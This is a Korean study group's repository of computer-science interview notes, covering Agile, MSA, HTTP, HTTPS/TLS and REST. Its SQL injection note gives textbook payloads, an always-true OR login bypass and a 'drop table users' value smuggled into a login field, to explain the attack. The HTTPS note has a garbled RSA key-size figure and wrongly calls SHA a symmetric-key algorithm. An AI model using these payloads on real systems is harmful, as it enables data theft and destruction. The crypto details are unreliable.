14 | - Class Review: 금 회의 후 모의고사 범위 조정 및 문제 출제
15 | 4. 시간
16 | - PT 10분 / 질문 5분
17 | - 문제 풀이 30분 / 해설 30분
18 | 5. 기준
19 | - 특별한 시간 조정이 없다면 21:30에 스터디 시작
20 | - PT 자료를 본인 이름의 Branch에 스터디 시작 이전에 Commit하여 main Branch에 Pull Request 등록
21 | 6. 벌금
22 | - 무단 불참, 자료 미제출: 1000원
23 | - 지각, 자료 지각 제출: 500원
24 | - 누적제, 매월 초기화
25 | - 해당시 레포지토리 이슈에 등록하고 스터디 종료시 일괄 계산
26 |
27 | ## :loudspeaker: PR 규칙 및 Commit Message 규칙
28 |
29 | ### Pull Request
30 |
31 | - [N주차 CS/CR] 이름
32 | > 예) [1주차 CS] 배용현
33 |
34 | ### Commit Message
35 |
36 | - [대주제 이름] 소주제 이름
37 | > 예) [자바] Reflection
38 |
39 | ## :loudspeaker: 파일 및 폴더 구조
40 |
41 | - 대주제/소주제.md
42 |
43 | ## :loudspeaker: 일정표
44 |
45 | | **주차** | **강신욱** | **박건후** | **배용현** | **양진형** | **진행 현황** |
46 | |---------|----------|----------|-----------|-------------|-----------|
47 | | 1주차 CS | [운영체제] | [네트워크] | [데이터베이스] | [자바] | `진행 완료` |
48 | | 1주차 CR | [XML] | [DML] | [JDBC] | [데이터검색] | `진행 완료` |
49 | | 2주차 CS | [네트워크] | [운영체제] | [개발상식] | [최신기술동향] | `진행 완료` |
50 | | 2주차 CR | [조합] | [재귀] | [완전탐색/순열] | [스택/큐/부분집합] | `진행 완료` |
51 | | 3주차 CS | [데이터베이스] | [최신기술동향] | [웹] | [운영체제] | `진행 완료` |
52 | | 3주차 CR | [디버깅] | [디버깅] | [디버깅] | [디버깅] | `진행 완료` |
53 | | 4주차 CS | [알고리즘] | [개발상식] | [디자인패턴] | [데이터베이스] | `진행 완료` |
54 | | 4주차 CR | [알고리즘] | [알고리즘] | [알고리즘] | [알고리즘] | `진행 완료` |
55 | | 5주차 CS | [자바] | [웹] | [운영체제] | [디자인패턴] | `진행 완료` |
56 | | 5주차 CR | [알고리즘] | [알고리즘] | [알고리즘] | [알고리즘] | `진행 완료` |
57 | | 6주차 CS | [웹] | [자바] | [알고리즘] | [개발상식] | `진행 완료` |
58 | | 6주차 CR | [일타싸피] | [일타싸피] | [일타싸피] | [일타싸피] | `진행 완료` |
59 | | 7주차 CS | [개발상식] | [디자인패턴] | [네트워크] | [알고리즘] | `진행 완료` |
60 | | 7주차 CR | [프론트엔드] | [프론트엔드] | [프론트엔드] | [프론트엔드] | `진행 완료` |
61 | | 8주차 CS | [디자인패턴] | [알고리즘] | [최신기술동향] | [웹] | `진행 완료` |
62 | | 8주차 CR | [관통PJ] | [관통PJ] | [관통PJ] | [관통PJ] | `진행 완료` |
63 | | 9주차 CS | [최신기술동향] | [데이터베이스] | [자바] | [네트워크] | `진행 완료` |
64 | | 9주차 CR | [백엔드] | [백엔드] | [백엔드] | [백엔드] | `진행 완료` |
65 | | 10주차 CS | [운영체제] | [네트워크] | [웹] | [데이터베이스] | `진행 완료` |
66 | | 11주차 CS | [데이터베이스] | [운영체제] | [개발 상식] | [디자인패턴] | `진행 완료` |
67 | | 11주차 CR | [데이터베이스] | [데이터베이스] | [데이터베이스] | [데이터베이스] | `진행 완료` |
68 | | 12주차 CS | [알고리즘] | [자바] | [데이터베이스] | [최신기술동향] | `진행 완료` |
69 | | 13주차 CS | [데이터베이스] | [디자인패턴] | [자바] | [운영체제] | `진행 완료` |
70 | | 14주차 CS | [자바] | [최신기술동향] | [디자인패턴] | [알고리즘] | `진행 완료` |
71 | | 15주차 CS | [개발 상식] | [웹] | [알고리즘] | [자바] | `진행 완료` |
72 | | 16주차 CS | [네트워크] | [데이터베이스] | [알고리즘] | [] | `진행 중` |
73 |
74 | ## :loudspeaker: 목차
75 |
76 | ### 네트워크
77 |
78 | ### 운영체제
79 |
80 | ### 데이터베이스
81 |
82 | ### 알고리즘
83 |
84 | ### 자바
85 |
86 | ### 웹
87 |
88 | ### 개발 상식
89 |
90 | ### 디자인 패턴
91 |
92 | ### 최신 기술 동향
93 |
94 | ---
95 |
96 | ### 참고
97 |
98 | - https://github.com/Songwonseok/CS-Study
99 | - https://velog.io/@subinmun1997/CS-Study-%EC%8A%A4%ED%84%B0%EB%94%94-%EC%A3%BC%EC%A0%9C
100 | - https://github.com/JaeYeopHan/Interview_Question_for_Beginner
101 | - https://github.com/gmlwjd9405/gmlwjd9405.github.io
102 | - 전공책: https://garden1500.tistory.com/5
103 | - https://gyoogle.dev/blog/
104 | - https://github.com/vsfe/tech-interview
105 | - https://github.com/ksundong/backend-interview-question
106 |
--------------------------------------------------------------------------------
/개발상식/Agile.md:
--------------------------------------------------------------------------------
1 | # Agile
2 |
3 | ## 애자일 개발 방법론
4 | - 모든 것을 계획하고 개발하는 전통적인 방법론을 대체하기 위해 등장한 이론
5 | - 사업적 가치가 있는 프로젝트는 새로운 시도와 학습을 기반으로 구현되고, 이를 추구하다보면 개발에 불확실성이 높아진다.
6 | - 협력을 통한 빠른 주기의 피드백을 지속적으로 반복하면서 개발하는 여러 방법론을 지칭하는 용어
7 | - TDD, Pair Programming, Scrum 등이 존재
8 |
9 |
10 |
11 | ## TDD
12 | - 테스트 주도 개발 (Test Driven Development)
13 | - 테스트케이스를 먼저 작성한 이후 이를 통과하기 위한 코드를 개발
14 | - 테스트케이스를 기반으로 코드를 개발하고 이를 리팩토링하는 작업을 반복
15 |
16 | | 장점 | 단점 |
17 | |-----------------------------------|---------------------------------|
18 | | 개발 도중 사용자 요구사항이 변해도 유연하게 대처할 수 있음 | 테스트 코드와 개발 코드의 잦은 수정으로 생산성이 저하됨 |
19 | | 객체 지향적인 개발을 강제함으로써 코드의 재사용성이 확보됨 | 소프트웨어 납기일이 미뤄질 수 가능성이 높음 |
20 |
21 | - Spring에서의 TDD 적용
22 | - Repository -> Service -> Controller 순서로 개발 진행
23 | - Repository 계층의 테스트는 H2와 같은 인메모리 데이터베이스 기반의 통합 테스트로 진행
24 | - Service 계층의 테스트는 Mockito를 사용해 Repository 계층을 Mock하여 진행
25 | - Controller 계층의 테스트는 SpringTest의 MockMvc를 사용해 진행
26 |
27 |
28 |
29 | ## Pair Programming
30 | - 두 사람이 한 짝이되어 한 컴퓨터로 프로그래밍을 진행하는 애자일 방법
31 | - 한 사람은 오더하고, 한 사람은 코딩하는 작업을 약 10분단위로 역할을 바꿔가며 반복한다.
32 | - 코딩할 때는 문제를 구체적으로 보게되고, 오더할 때는 문제를 전체적으로 보게 되어 통찰이 생긴다.
33 |
34 | | 장점 | 단점 |
35 | |-------------------------|-------------------------------|
36 | | 둘이서 진행하기 때문에 실수가 감소함 | 2명이서 1인분을 하고 있는 것이므로 생산성이 저하됨 |
37 | | 서로의 약점을 보완하는 프로그래밍이 가능함 | 수평적인 관계가 아니라면 효과가 미미할 수 있음 |
38 |
39 |
40 |
41 | ## Scrum
42 | - 스프린트라고 불리는 작업 단위를 사용하여 작업을 추정하는 프로젝트 계획 방법
43 | - 스프린트는 약 1~2시간 단위로 가능한 작은 단위의 개발 사항으로 이루어짐
44 | - 스프린트 기간은 프로그램이나 개발사의 특성에 따라 보통 1~4주 정도 선정
45 | - 스크럼 진행 과정
46 | 1. 제품 백로그(product backlog) 작성
47 | 2. 스프린트 계획 회의
48 | 3. 스프린트 백로그(sprint backlog) 작성 -> 스크럼 보드로 정리
49 | 4. 일일스크럼 미팅(daily scrum meeting)
50 | 5. 실행 가능한 제품 개발
51 | 6. 스프린트 리뷰
52 | 7. 스프린트 회고(sprint retrospective)
53 | 8. 다음 스프린트 시작
54 |
55 |
--------------------------------------------------------------------------------
/개발상식/Framework_and_Library.md:
--------------------------------------------------------------------------------
1 | ---
2 | marp : true
3 | ---
4 |
5 | # Framework and Library
6 |
7 | ---
8 | ## Framework
9 | - 소프트웨어 어플리케이션이나 솔루션의 개발을 수월하게 하기 위해 소프트웨어의 구체적 기능들에 해당하는 부분의 설계와 구현을 재사용 가능하도록 협업화된 형태로 제공하는 소프트웨어 환경
10 | - 정해진 매뉴얼, 룰을 제공
11 | - 클래스와 라이브러리의 집합 구조이며, 이러한 협업형태를 제공함
12 | - 이 형태는 완성된 어플리케이션이 아니고, 이러한 형태를 사용하여 프로그래머가 어플리케이션을 완성키여햐 함
13 | - 앱/서버 등의 구동, 메모리 관리 등 공통된 부분은 프레임워크가 관리함
14 | - Spring, Django, Flask, Android, Vue.js 등
15 |
16 | ---
17 |
18 | ### 장점
19 | - 개발 프로세스 간소화
20 | - 프레임워크에서 제공하는 여러 도구와 패키지를 사용하여 재사용성을 높임
21 | - 개발에 필요한 시간 단축
22 | - 코드 길이 간소화 및 완성도 향상
23 | - 직접 구현하는 것보다 간결해짐
24 | - 대부분 이미 검증된 기능들로 사용 시 프로그램의 완성도 향상
25 | - 유지보수 용이
26 | - 프로그램의 담당자가 변경되거나 보수 시 간결함
27 | - 보안
28 | - SQL injection 등 외부 보안 공격에 대한 보안기능 제공
29 |
30 | ---
31 |
32 | ### 단점
33 | - 러닝커브(Learning Curve)
34 | - 프레임워크를 사용하기 위해 학습 필요
35 | - 제약사항
36 | - 정해진 매뉴얼, 툴을 지켜야 하므로 유연성 저하 가능성
37 | - 크기
38 | - 개발 용량이 불필요하게 커질 수 있음
39 |
40 | ---
41 | ## Library
42 | - API를 기반으로 플랫폼에서 바로 실행될 수 있도록 모듈화 된 프로그램 모음
43 | - 필요한 함수들이 구현되어 있기 때문에, 필요시 자유롭게 사용할 수 있음
44 | - 단, 프레임워크가 정한 방식에 맞춰 사용해야 함
45 | - React.js, JQuery, TensorFlow, pandas, STL 등
46 | 
47 | ---
48 | ### 종류
49 | - 표준 라이브러리
50 | - 특정 언어의 개발 환경에 기본적으로 포함된 기능
51 | - 런타임 라이브러리
52 | - 프로그램이 실제 실행되기 위해(런타임) 필요한 모듈 예> printf
53 | - 보통 표준 라이브러리에서 필요한 것들만 제공
54 | - 정적 라이브러리
55 | - include 시 내 프로그램과 결합되어 컴파일 되는 라이브러리
56 | - 코드 간결성 향상 / 실행 프로그램의 용량 증가 가능성
57 | - 컴파일 시 적재되므로 유연성 저하 > 지양되고 있는 추세
58 | - 동적 라이브러리
59 | - 필요시 로딩하고, 불필요해지면 반환 > 메모리 절약
60 | - 외부 라이브러리를 참조/사용하여 정적 라이브러리에 비해 속도저하 가능성
61 | - 프로그램 실행 과정에서 필요함
62 | ---
63 |
64 | ### 장점
65 | - 코드 재사용 용이
66 | - 코드의 내용 Encapsulation하여 기술 유출 방지 가능
67 | - 개발 시간 단축
68 | - 디버깅, 컴파일 시간 단축
69 |
70 | ### 단점
71 | - 크기
72 | - 개발 용량이 불필요하게 커질 수 있음
73 | => 동적 라이브러리 사용
74 | 공통되는 부분만 메모리에 탑재하고 사용이 끝나면 메모리에서 삭제됨
75 |
76 | ---
77 | ## 차이점
78 | - 프레임워크는 전체적인 흐름을 이미 가지고 있으며, 그 안에 필요한 코드를 작성
79 | - 라이브러리는 사용자가 전체적인 흐름을 만들며 라이브러리를 가져다 쓰는 것
80 | - 라이브러리를 사용하는 어플리케이션 코드는 프로그램의 흐름을 직접 제어함
81 | - 동작 중 필요한 기능이 있을 때 개발자가 능동적으로 라이브러리를 사용하여 구현
82 | - 프레임워크는 거꾸로 어플리케이션 코드가 프레임워크에 의해 사용됨
83 | - 프레임워크에는 **제어의 역전(IoC, Inversion of Control)** 개념이 적용되어야 함
84 | - 어플리케이션 코드는 프레임워크가 정해놓은 규칙 내에서 수동적으로 동작함
85 |
86 | ---
87 |
88 | ### 제어의 역전(IoC)
89 | - 어떠한 일을 하도록 만들어 놓은 Framework에 제어 권한을 넘기는 것
90 | - 즉, 프로그램 제어 흐름 구조가 역전된 상황
91 | - 라이브러리는 어플리케이션의 흐름을 사용자가 직접 제어
92 | - 프레임워크는 프레임워크 메서드가 사용자가 작성하는 코드의 메소드를 호출
93 | - 개발자가 직접 스레드 관리 등을 하지 않아도 됨
94 | - 예) Spring의 경우 스프링 컨테이너가 프로그램의 제어흐름을 제어함
95 | 
--------------------------------------------------------------------------------
/개발상식/MSA.md:
--------------------------------------------------------------------------------
1 | # MSA(Microservice Architecture)
2 | ## Monolithic Architecture(모놀리식 아키텍처)
3 | - MSA가 도입되기 이전의 전통적인 서비스의 형태
4 | - 전체 어플리케이션이 하나로 통합되어 있어 관리하기가 편하다
5 | - 개발환경 설정도 하나로 통일되어 있으므로 편하다
6 |
7 | ### 모놀리식 아키텍처의 단점
8 | - 기존 어플리케이션에 새 기능을 넣고자 할때 수행해야 하는 테스트/컴파일/빌드/배포의 시간이 오래걸린다
9 | - 개발환경이 통일되어 있는 점이 오히려 단점으로 작용한다.
10 | - 하나의 기능을 위해 프레임워크를 버전업 할 경우, 다른 기능들까지 영향을 받게 된다.
11 | - 하나의 프레임워크와 언어로 통일하여 개발해야만 한다.
12 | - 소스코드가 너무 복잡해진다.
13 | - 특정 서비스에 트래픽이 몰릴 경우, 전체 서비스들이 영향을 받게 된다.
14 |
15 | ## MSA
16 | - MSA란 단일 프로그램을 각 컴포넌트 별로 나누어 작은 서비스들의 조합으로 구축하는 방법
17 | - 각 컴포넌트들이 필요할때마다 API Gateway를 사용하여 소통하는 방식을 사용한다.
18 | - 대표적으로 아마존과 넷플릭스에서 MSA를 사용하고 있다.
19 | - MSA의 태생상 밀접하게 연관된 툴이 존재한다
20 | - docker: 컨테이너에 담아 서비스를 배포하기 위해 사용
21 | - kubernetes: 컨테이너가 많을 때, 이 컨테이너들을 관리하기 위해 사용
22 | - kafka: 서비스간의 소통을 빠르게 하기 위해 사용
23 | - Prometheus: 서비스들을 모니터링 하기 위해 사용
24 |
25 | ## MSA의 장점
26 | - 각 서비스들은 독립된 서버에서 작동할 수 있고, 배포 역시 독립적으로 이뤄질 수 있음
27 | - 프로그램의 수정시 하나의 서비스만 수정하면 되므로 속도가 향상됨
28 | - 개발환경을 독립적으로 선택할 수 있다
29 | - 각 서비스들이 서로 다른 언어와 프레임워크를 사용할 수 있다
30 | - 버전업 과정도 매우 쉬워진다
31 | - 특정 서비스에 트래픽이 몰릴 경우, 해당 서비스만 크기를 키워 해결 할 수 있음
32 |
33 | ## MSA의 단점
34 | - 전체적인 복잡도가 상승한다.
35 | - 개발이 쉬워지는 대신 운영 복잡도가 더욱 증가하여 결과적으로 전체적인 복잡도는 모놀리식보다 더 증가할 수 있다
36 | - 툴의 사용이 반 필수이다
37 | - 툴의 사용 방법을 추가적으로 익혀야 한다
38 | - 개발보다도 툴의 관리에 사용하는 시간이 더 많이 들 수 있다
39 | - 분리된 서비스들끼리 통신에 오류가 발생하여 원활한 서비스 제공에 실패할 수도 있다
40 | - MSA에 소속된 서비스의 양이 증가할 수록 특정 기능을 담당하는 서비스를 찾기 힘들어진다
41 | - 오류의 원인을 찾기 또한 힘들어진다.
42 |
43 | ## 결론
44 | - MSA는 무조건 정답이 아니다!
45 | - 서비스가 매우 크다 하더라도 굳이 MSA만이 정답은 아니다
46 | - 아직 서비스가 작지만 미래를 위해 미리 MSA를 도입하는 경우도 굳이 필요 없다
47 | - MSA를 도입하기 전에 먼저 모놀리식 서비스를 만들어두고 서비스 하나씩 분리하면서 MSA를 도입하는 것도 가능하다
48 |
49 | -----------
50 | ## 참고자료
51 | - https://www.youtube.com/watch?v=ZRpsB3ODr6M
52 | - http://clipsoft.co.kr/wp/blog/%EB%A7%88%EC%9D%B4%ED%81%AC%EB%A1%9C%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98msa-%EA%B0%9C%EB%85%90/
53 |
--------------------------------------------------------------------------------
/개발상식/SQL 인젝션.md:
--------------------------------------------------------------------------------
1 | # SQL Injection (SQL 주입)
2 |
3 | + SQL 주입(삽입)은 웹 응용 프로그램의 보안 상의 허점을 이용해 악의적인 SQL문을 악의적으로 실행시켜 데이터베이스를 비정상적으로 조작하는 공격 방법
4 | + SQL 주입이란 개념은 1998년 12월에 처음으로 정립 되었지만, 현재에도 여전히 SQL Injection에 취약하게 설계되는 어플리케이션이 많으며 웹 애플리케이션의 30% 이상으로 추측됨
5 | + 따옴표와 OR 문, 주석처리를 통해 사용자의 입력이 항상 참이 되게끔 할 수 있음
6 | + SQL 질의문을 통하여 데이터베이스에 저장되어 있는 값들을 알 수 있으며 저장된 해시 값을 조회하여 John the Ripper 도구를 통해 비밀번호를 크래킹할 수 있음
7 |
8 |
9 |
10 | 
11 |
12 |
13 |
14 | ## 예시
15 |
16 |
17 |
18 | ```sql
19 | -- 로그인 쿼리 예시
20 | select * from users where userid = "{userid}" and userpassword = "{userpassword}";
21 | ```
22 | + userid 혹은 userpassword에 악의적인 sql문 삽입 가능
23 |
24 |
25 |
26 | ```sql
27 | select * from users where userid = "jinhyugn" and userpassword = " " OR "1" = "1 ";
28 | ```
29 |
30 | + users 테이블에 있는 모든 user의 정보 조회
31 |
32 |
33 |
34 | ```sql
35 | select * from users where userid = " "; drop table users; -- " and userpassword = "";
36 | ```
37 |
38 | + users 테이블을 drop 시키기
39 |
40 |
41 |
42 | ## 사례
43 |
44 | ### 1. 여기어때 해킹
45 |
46 |
47 | 
48 |
49 | https://www.joongang.co.kr/article/21628794#home
50 |
51 | + 마케팅센터 웹페이지에 SQL 인젝션 공격을 통해 DB에 저장된 관리자 세션값(세션 아이디)을 탈취
52 | + 약 99만명의 숙박 예약 정보, 회원 정보 유출
53 |
54 |
55 |
56 | ### 2. 뽐뿌 커뮤니티 개인정보 해킹
57 |
58 |
59 | 
60 |
61 | https://www.korea.kr/news/pressReleaseView.do?newsId=156081058
62 |
63 | + 홈페이지에 비정상적인 DB 질의에 대한 검증 절차가 없어 SQL 인젝션 공격에 취약한 페이지가 존재했음
64 | + 약 196만명의 회원 정보 유출
65 |
66 |
67 |
--------------------------------------------------------------------------------
/개발상식/리팩터링의 원칙.md:
--------------------------------------------------------------------------------
1 | # 리팩터링의 원칙
2 | ## 리팩터링(Refactoring)
3 | - 소프트웨어의 겉보기 동작은 그대로 유지한 채, 코드를 수정하기 쉽도록 내부 구조를 변경하는 것
4 | - 겉보기 동작을 유지한다는 것은 사용자 관점에서 기능이 동일해야한다는 뜻이다.
5 | - TDD 방법론의 한 축을 담당하고 있다.
6 | - 성능 최적화와의 차이점은, 리팩터링은 이해하기 쉽게 만드는 것에 중점을 두므로 더 느려질 수도 있다는 것이다.
7 |
8 | ## 2개의 모자(Two Hats)
9 | - 소프트웨어를 개발할 때, 목적을 명확히 구분하여 작업해야 한다는 비유
10 | - 기능추가 모자를 썼을 땐, 기존 코드를 건드리지 말고 새 기능 추가만 해야하고
11 | - 리팩터링 모자를 썼을 땐, 신규 테스트케이스 작성도 하지말고 오로지 코드 재구성에만 전념해야한다.
12 |
13 | ## 리팩터링을 하는 이유
14 | 1. 설계 개선: 중복 코드 제거, 초기 구조 및 설계 유지보수
15 | 2. 소프트웨어에 대한 가독성 증가
16 | 3. 버그 발견 용이
17 | 4. 프로그래밍 속도 증대: 리팩터링을 할 땐, 초기 시간 소모가 존재하나, 장기적으론 빨라지는 결과로 이어짐
18 | 5. 그 외, 이름이 이상하거나, 함수가 너무 길거나, 매개변수 목록이 너무 길거나, 반복문이 많거나, 한 클래스가 너무 크거나 등등
19 |
20 | ## 리팩터링을 해야할 때와 하지 말아야 할 때
21 | - 리팩터링은 날잡고 하는게 아니라 수시로 하는 것이 옮다
22 | - 코드 베이스에 기능을 새로 추가하기 직전에 구조를 개선하기 위해
23 | - 카드가 하는 일을 파악했을 때 의도를 명확하게 하기 위해
24 | - 비효율적인 코드를 봤을 때(쓰레기 줍기)
25 | - 내부 동작을 분석할 필요가 없거나, 그냥 새 코드를 작성하는게 더 낫다면 리팩터링을 하지 않는 편이 더 좋다.
26 |
27 | ## 고려할 점
28 | - 코드 소유권: 코드 소유권이 얽혀있는 경우라면(예: 다른 팀이나 고객에게 존재할 경우), 리팩터링에 방해가 된다.
29 | - 브랜치: 리팩터링을 진행할 경우 보통 별도의 브랜치에서 진행하기 때문에, 리팩터링이 오래 걸릴 수록 마스터 브랜치에 통합하기 힘들어짐
30 | - 테스팅: 리팩터링을 한 뒤에 동작이 깨지면 안된다.
31 | - 레거시 코드: 보통 복잡하고 테스트 코드도 없고 다른 사람이 작성했기 때문에 리팩터링에 난점이 존재함. 테스트 보강 선행 필수
32 |
33 | =======================================
34 | ## 참고 문헌
35 | - 1차 출처: 마틴 파울러, 『리팩토링』, 한빛미디어, 2020.04.01
36 | - 2차 출처: https://ifuwanna.tistory.com/503
--------------------------------------------------------------------------------
/네트워크/HTTP.md:
--------------------------------------------------------------------------------
1 | # HTTP
2 | ## 1. HTTP란?
3 | - Hypertext Transfer Protocol
4 | - 인터넷상에서 데이터를 주고받기 위한 서버/클라이언트 모델을 따르는 프로토콜
5 | - 클라이언트: HTTP 프로토콜을 통해 웹 오브젝트들을 요청/수신/표시하는 측
6 | - 서버: HTTP 프로토콜을 통해 요청에 따라 응답으로 웹 오브젝트를 보내는 측
7 | - 애플리케이션 레이어에서 작동
8 | - TCP를 사용하며, 그 과정은 이하와 같음
9 | 1. 클라이언트가 포트번호 80으로 TCP 커넥션을 시작
10 | 2. 서버가 TCP 커넥션을 수락
11 | 3. 둘 사이에 HTTP 메세지를 교환(통신)
12 | 4. TCP 커넥션 종료
13 | - stateless: 서버는 이전에 보냈던 클라이언트의 요청을 전혀 기억하지 않는다.
14 |
15 | ## 2. HTTP의 연결방식
16 | ### non-Persistent HTTP
17 | - TCP 연결 1번에 최대 하나의 객체를 전송할 수 있음
18 | - 전송이 1회 완료되면 커넥션을 끊음
19 | - 연결과정의 예시
20 | 1. 클라측)클라이언트가 서버에 연결을 요청
21 | 2. 서버측)해당 url의 호스트가 연결을 수락하고 클라이언트에게 알림
22 | 3. 클라측)클라이언트가 HTTP 리퀘스트 메세지를 소켓을 통해 보내서 원하는 웹 오브젝트를 알림
23 | 4. 서버측)서버는 리퀘스트 메세지를 수락하고, 소켓을 통해 response 메세지를 통해 요청한 웹 오브젝트들을 보냄
24 | 5. 서버측)서버는 연결을 종료시킴
25 | 6. 클라측)수령한 메세지를 통해 화면에 표시
26 | 7. 연결을 다시 시작할땐 1번부터 다시
27 | 
28 | - 요청 한번을 실행하는데 총 2번의 RTT(Round Trip Time) + 파일의 전송에 걸리는 시간이 걸림
29 | - 요청을 계속 실행하는 것도 OS에 오버헤드를 줌
30 |
31 | ### Persistent HTTP
32 | - 전송이 모두 완료될때까지 연결을 유지
33 | - 클라이언트는 참조된 객체를 만나는 즉시 request를 보냄
34 | - 위의 경우와 달리 레퍼런스 오브젝트를 1번의 RTT로 줄일 수 있음
35 | - 클라이언트의 부담이 줄어든 만큼 서버의 부담이 증가
36 | - 감당할 수 없을 만큼의 클라이언트가 접속하기 시작하면 더 이상 접속에 대처할 수 없게 됨
37 |
38 | ## 3. HTTP 메세지
39 | - HTTP 리퀘스트 메세지(요청)와 HTTP 리스폰스 메시지(응답)이 있음
40 | - 사람이 읽기 편한 ASCII포맷으로 적혀 있음
41 | - 구조
42 | 1. start line: 첫번째 줄에 위치히여 요청이나 응답의 상태를 나타냄
43 | 2. HTTP headers: 요청을 지정하거나 본문을 설명하는 내용의 집합
44 | 3. empty line: 헤더와 본문을 구분하는 빈줄(내용은 없음)
45 | 4. body: 요청과 관련된 데이터나 응답과 관련된 데이터 또는 문서를 포함
46 |
47 | ### 요청 메세지
48 | - 클라이언트가 서버에 보내는 메세지
49 | - start line에 HTTP 메서드(GET/PUT/POST 등), 요청 대상, HTTP 버전을 담는다
50 |
51 | ### 응답 메세지
52 | - 서버가 클라이언트에 보내는 메세지
53 | - 특별히 start line을 status line이라고 부르기도 함
54 | - status line에 프로토콜 버전, 상태 코드(404 등), 상태 텍스트(Not Found 등)을 담는다
55 |
56 | =================================
57 | ### 참고 문헌
58 | - https://shlee0882.tistory.com/107
59 | - https://hanamon.kr/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-http-%EB%A9%94%EC%84%B8%EC%A7%80-message-%EC%9A%94%EC%B2%AD%EA%B3%BC-%EC%9D%91%EB%8B%B5-%EA%B5%AC%EC%A1%B0/
--------------------------------------------------------------------------------
/네트워크/HTTPS와 SSL.md:
--------------------------------------------------------------------------------
1 | # HTTPS와 SSL
2 | ## HTTPS란?
3 | - HyperText Transfer Protocol over Secure Socket Layer
4 | - 보안에 대한 관심이 증가하면서 HTTP의 보안을 보완하기 위해 등장
5 | - 기본 포트가 443 (HTTP는 80)
6 | - SSL/TLS를 사용함으로써 데이터를 보호받는 HTTP
7 | - 통신 중 개인 데이터를 탈취하지 못하도록 작동함
8 | - 사이트 URL 왼쪽에 자물쇠가 표시되면 HTTPS 연결임
9 | - HTTPS 보안을 갖춘 사이트는 구글 검색엔진 SEO 효과 상승
10 | - 여러 브라우저는 HTTP/2 업데이트를 지원하면서 반드시 HTTPS를 사용해야함을 명시했고, HTTP/2은 HTTP/1.1보다 유의미하게 빠르기 때문에 대부분의 사이트들이 HTTPS를 사용하는 추세임
11 |
12 |
13 |
14 |
15 | ## SSL이란?
16 | - Secure Sockets Layer
17 | - 90년대 중반 넷스케이프에 의해 작성된 프로토콜
18 | - 데이터 암호화, 인증, 데이터 무결성을 보장
19 | - 2015년 공식적으로 사용 종료
20 |
21 | ## TLS란?
22 | - Transport Layer Security
23 | - SSL과 거의 동일하지만 넷스케이프가 업데이트에 참여하지 않게되어 소유권을 이전하기 위해 명칭을 변경
24 | - 현재는 2018년에 공개된 TLS 1.3이 최신 버전임
25 |
26 | ## 인증 기관 (Certificate Authority)
27 | - 인증서 발급, 인증서 소유자의 신원 확인, 인증서가 유효하다는 증거 제공
28 | - Symantec, Comodo, Let's Encrypt...
29 | - 인증서가 발급된 웹사이트는 TLS 프로토콜을 사용할 수 있음
30 | - 인증서 종류
31 | 1. Domain Validation: 기업이 도메인을 관리하고 있음을 증명
32 | 2. Organization Validation: 인증서 발급시 CA가 기업의 사업자 등록증, 신청자 등을 확인하고 증명
33 | 3. Extended Validation: 조직이 존재하고 사업장과 사업이 유효한지 확인하고 증명
34 |
35 | ## TLS의 암호화 알고리즘
36 | ### RSA
37 | - 비대칭키(공개키) 알고리즘의 하나로, 사실상 세계 표준
38 | - 최소 21024를 기준으로 n을 선정하고 이를 소인수분해하는 알고리즘을 사용
39 | - n과 e(공개키)를 이용해 암호화하고, n과 d(개인키)를 이용해 복호화한다.
40 | - 약 11,235,582,092,889,474,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000 이상
41 | - RSA 알고리즘: https://yjshin.tistory.com/entry/%EC%95%94%ED%98%B8%ED%95%99-%EB%B9%84%EB%8C%80%EC%B9%AD%ED%82%A4-%EC%95%94%ED%98%B8-RSA-%EC%95%94%ED%98%B8%EC%8B%9C%EC%8A%A4%ED%85%9C
42 |
43 | ### 대칭키 알고리즘
44 | - AES, SHA 등이 대표적이며, 클라이언트와 서버가 악수할 때 어떤 방식의 알고리즘을 사용할지 협의함
45 | - 데이터를 송수신할 때마다 RSA 알고리즘을 사용한다면 엄청난 비용이 소모되므로 대칭키 알고리즘을 사용하되, 키를 교환할 때만 RSA알고리즘을 사용한다.
46 |
47 | ## SSL 동작 방식
48 | 
49 |
50 | ### 비고
51 | - https://babbab2.tistory.com/4
--------------------------------------------------------------------------------
/네트워크/REST, REST API, RESTful.md:
--------------------------------------------------------------------------------
1 | # REST, REST API, RESTful
2 |
3 | ## REST
4 |
5 | ### 개요
6 |
7 | - Representational State Transfer의 약자
8 | - 자원을 이름으로 구분하여 해당 자원의 상태(정보)를 주고받는 것
9 | - 자원이란, 해당 소프트웨어가 관리하는 모든 것을 의미
10 | - 기존 웹 기술과 HTTP 프로토콜을 그대로 활용하기 때문에 웹의 장점을 최대한 활용할 수 있음
11 | - URI(Uniform Resource Identifier)를 통해 자원(Resource)을 명시
12 | - HTTP Method를 통해 CRUD를 적용
13 |
14 | ### 장점
15 | - HTTP 프로토콜을 사용하므로, 별도의 인프라가 필요 없고, HTTP 표준 프로토콜을 따르는 모든 플랫폼에서 사용할 수 있다.
16 | - 서버와 클라이언트의 역할이 명확하게 분리된다
17 | - URI를 통해 REST API가 의도하는 바를 쉽게 파악할 수 있다.
18 |
19 | ### 단점
20 | - 표준이 없다
21 | - HTTP 메소드의 형태가 제한적이다
22 | - 구형 브라우저에서 지원하지 않는 부분이 존재한다(PUT, DELETE)
23 |
24 | ### 구성 요소
25 | 1. 자원(Resource): URI
26 | - 자원은 서버에 존재하며, 고유한 ID가 HTTP URI 형식으로 존재한다
27 | 2. 행위(Verb): HTTP: Method
28 | - GET, POST, PUT, DELETE 등의 메서드를 제공한다
29 | 3. 표현(Representation)
30 | - 클라이언트가 자원의 상태에 대한 조작을 요청하면 Server는 응답을 보낸다
31 | - 보통 JSON, XML의 형태로 데이터를 주고받는 것이 일반적이다.
32 |
33 | ### REST의 특징
34 | 1. Server-Client(서버-클라이언트 구조)
35 | 2. Stateless(무상태)
36 | - HTTP 프로토콜이 Stateless 한것처럼, REST도 역시 Stateless하다.
37 | 3. Cacheable(캐시 처리 가능)
38 | - 이 역시 HTTP 프로토콜이 지원한다
39 | 4. Layered System(계층화)
40 | - REST 서버를 다중 계층으로 구성하여, 비즈니스 로직 앞에 보단, 로드밸런싱, 암호화, 사용자 인증등을 추가시킬 수 있다.
41 |
